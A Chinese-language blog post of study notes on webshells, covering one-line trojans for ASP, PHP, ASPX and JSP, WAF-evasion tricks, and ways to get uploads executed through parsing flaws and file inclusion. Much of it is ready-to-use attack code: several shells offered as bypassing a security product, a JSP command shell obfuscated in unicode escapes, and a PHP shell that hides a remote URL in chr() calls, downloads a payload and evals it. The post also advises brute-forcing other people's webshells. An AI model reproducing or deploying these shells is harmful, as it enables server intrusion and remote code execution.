webshell学习
参考文章:
https://www.bilibili.com/video/BV1T4411t7BW?p=14
https://blog.csdn.net/mmmsss987/article/details/90460403
对Webshell一直没有一个清楚的理解,就知道直接写马进去,权限不够在换大马,昨天正好看到了webshell的视频,就写个文章记录一下。
webshell的分类
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。
不过中国菜刀留的一句话功能不逊大马的功能。
大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。
小马的作用就是为了上传大马进行提权,一般都是小马权限不够,才用小马上传大马提升权限
现在大家普遍使用的就是一句话木马,基本上都是这个,只是稍微有点变形,比如说插入到图片中做成 图片马
一句话木马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
<%execute request("value")%>
原理:一句话木马分为两部分,一部分是执行函数,一部分是传参方式,(比如说GET,POST,COOKIE 或者REQUEST,,)后面大家所说的密码也就是上一行中的 value ,其实是传参时候接受参数的名称 比如说 xxx.com/xx.php?value= '菜刀传过来的命令'
WAF : 现在的waf拦截基本上都是基于特征匹配,比如说匹配到 execute 或者 eval 函数就拦截
asp一句话木马:
<%eval request("c")%>
php一句话木马:
<?php@eval($_POST[value]);?>
aspx一句话木马:
<%@Page Language="Jscript" %>
<%eval(Request.ltem["value"])%> asp和aspx的区别就是aspx可以直接调用cmd,asp不可以,但是一般waf对aspx的过滤比较严格
jsp一句话
<% if(request. getParameter("f")!=null)(ne w java. io. FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
.write(request. getParameter("t"). getBytes();%>
这个asp,php,jsp都是相对而言的,比如说你一个asp的站点,但是可以对PHP进行解析,你同样可以上传PHP的马,
一句话木马简单变形
waf对eval函数进行了拦截 <?php $_REQUEST['a']($_REQUEST['b']) ; ?> xxx.com/a.php?a=eval&b=phpinfo 这个实际构造的就是 <?php eval(phpinfo); ?> 现在不能绕过了。。
对引号进行了过滤 <?%Eval (Request(chr(112)))%?>
这里需要注意的一点就是 asp加密的一句话
┼攠数畣整爠焕敌瑳∨≡┩忾 密码 a
使用条件:正常情况下, asp网站access数据库文件的后缀名应该为 data.mdb 但是加密之后的数据库 后缀为 data.asp 说明这个数据库是加密的,这时候直接把一句话插入数据库中,比如说注册用户的时候加进去,直接就拿shell
一句话图片马的制作
分类中有篇文章有详细写
最新webshell大合集
https://blog.csdn.net/mmmsss987/article/details/90460403
附上几个过狗的马 时间是 2019.9.18
ASPX
<%@ Page Language="Jscript"%>
<%
var p = Request.Item["M"];
var a = p.substring(0,1);
var b = p.substring(1,99999);
var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
eval(a+b,c);
%>
JSP
<%@ page import="java.util.*,java.io.*,java.net.*"%> <%
\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d
%>
PHP
<?php
$password='haha';//登录密码
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
$url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
$url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
$url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
$url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
$url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
$url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
$url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
$url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
$get=$c(102).$c(105).$c(108).$c(101).$c(95);
$get.=$c(103).$c(101).$c(116).$c(95).$c(99);
$get.=$c(111).$c(110).$c(116).hex2bin('656E');
$get.=$c(116).$c(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).hex2bin('7465');
@eval($un($_SESSION['PhpCode']));
?>
webshell使用技巧
配合解析漏洞 一般是配合图片马进行上传,(图片马你光上传,不解析也是没有作用的,必须解析才会起到作用)
配合文件包含
利用文件名溢出
看了很多文章,都是在后台管理员界面上传图像或者其它的文件getshell
这个文件包含是什么意思呢?你上传了一个ima.jpg图片马,但是没法运行,你只能在上传一个b.asp文件,让ima.jpg在b.asp中运行,这样就能让图片马正常运行了
需要注意
asp,aspx,php都是可以直接用菜刀连接的,但是jsp不行,jsp的一句话太大,有时候比大马都大,
cracer讲的是 先上传个一句话或者小马,然后在把菜刀目录下customize.jsp中的代码上传?????(应该就是借助小马上传大马)
jsp一般权限比较大,基本上都是最高权限
需要注意
一点的就是,找到了别人的webshell,可以用工具去暴力破解,在cracer的工具包里面有工具。一句话木马用k8的那个工具,大马用图中的webshell这个工具,当然,也可用bp来跑
查找webshell后门
这个就有点坑了,你辛辛苦苦拿下的站,结果被别人,日了
首先他留这个后门目的就是获取你 连接shell的地址和你连接shell的密码
可以参考下这个视频,前几年hack70发布的
https://www.bilibili.com/video/BV1D4411e7WW?p=2
webshell学习的更多相关文章
- 2019-11-7:sql注入防御,webshell概念,学习笔记
sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- Msfvenom学习总结-MSF反弹webshell
1. –p (- -payload-options) 添加载荷payload. 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填 ...
- Compiler Theory(编译原理)、词法/语法/AST/中间代码优化在Webshell检测上的应用
catalog . 引论 . 构建一个编译器的相关科学 . 程序设计语言基础 . 一个简单的语法制导翻译器 . 简单表达式的翻译器(源代码示例) . 词法分析 . 生成中间代码 . 词法分析器的实现 ...
- 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell
在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 什么是webshell?
webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中 ...
- 最强黑吃黑:WEBSHELL大马隐藏万能密码大全
因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...
- 【渗透攻防】千变万化的WebShell
前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...
随机推荐
- java8的lambda表达式
关于java8的lambda表达式 lambda表达式一般用于接口,因为lambda表达式是函数式编程. 1.有且仅有一个抽象方法被称为函数式接口,函数式接口可以显示的被@FunctionalInte ...
- C语言讲义——变量(variable)
变量(variable) 变量用于存放数据 变量是供程序操作的存储区的名字 变量有类型,该类型决定了变量占用内存的大小 字节→ C语言有以下6种简单变量类型: 类型细分: 变量在内存中需要占据空间,内 ...
- Netty源码解析 -- 内存池与PoolArena
我们知道,Netty使用直接内存实现Netty零拷贝以提升性能, 但直接内存的创建和释放可能需要涉及系统调用,是比较昂贵的操作,如果每个请求都创建和释放一个直接内存,那性能肯定是不能满足要求的. 这时 ...
- IntelliJ IDEA 配置《算法》(第四版)
红皮的算法一书,内部代码的实现调用了作者写的一个包.为了运行书内代码,需要配置相应的环境. 准备 网站:https://algs4.cs.princeton.edu/code/ 工具:IntelliJ ...
- jdk1.8hashmap常见的面试问题
1.HashMap原理,内部数据结构? 底层使用哈希表(数组加链表)来存储,链表过长会将链表转成红黑树,以实现在O(logn)时间复杂度内查找 2.讲一下HashMap中的put方法过程? 对key求 ...
- LeetCode 018 4Sum
题目描述:4Sum Given an array S of n integers, are there elements a, b, c, and d in S such that a + b + c ...
- python之切片操作,实现一个trim()函数,去除字符串首尾的空格.
# -*- coding: utf-8 -*- def trim(s): if len(s)==0: return '' if s[:1]==' ': return trim(s[1:]) elif ...
- C#.NET 强大的LINQ
LINQ 是 Language INtegrated Query 单词的首字母缩写,翻译过来是语言集成查询.它为查询跨各种数据源和格式的数据提供了一致的模型,所以叫集成查询.由于这种查询并没有制造新的 ...
- redis雪崩,击穿,穿透
redis穿透 什么是redis穿透? 1.查询一个一定不存在的数据,由于缓存是不命中时被动写的,并且出于容错考虑,如果从存储层查不到数据则不写入缓存 2.这将导致这个不存在的数据每次请求都要到存储层 ...
- C#数据结构-二叉树-顺序存储结构
什么是二叉树:每个树的节点只有两个子树的树形结构. 为什么使用顺序存储结构:使用数组存放满二叉树的各结点非常方便,可以根据一个结点的索引号很容易地推算出它的双亲.孩子.兄弟等结点的编号,从而对这些结点 ...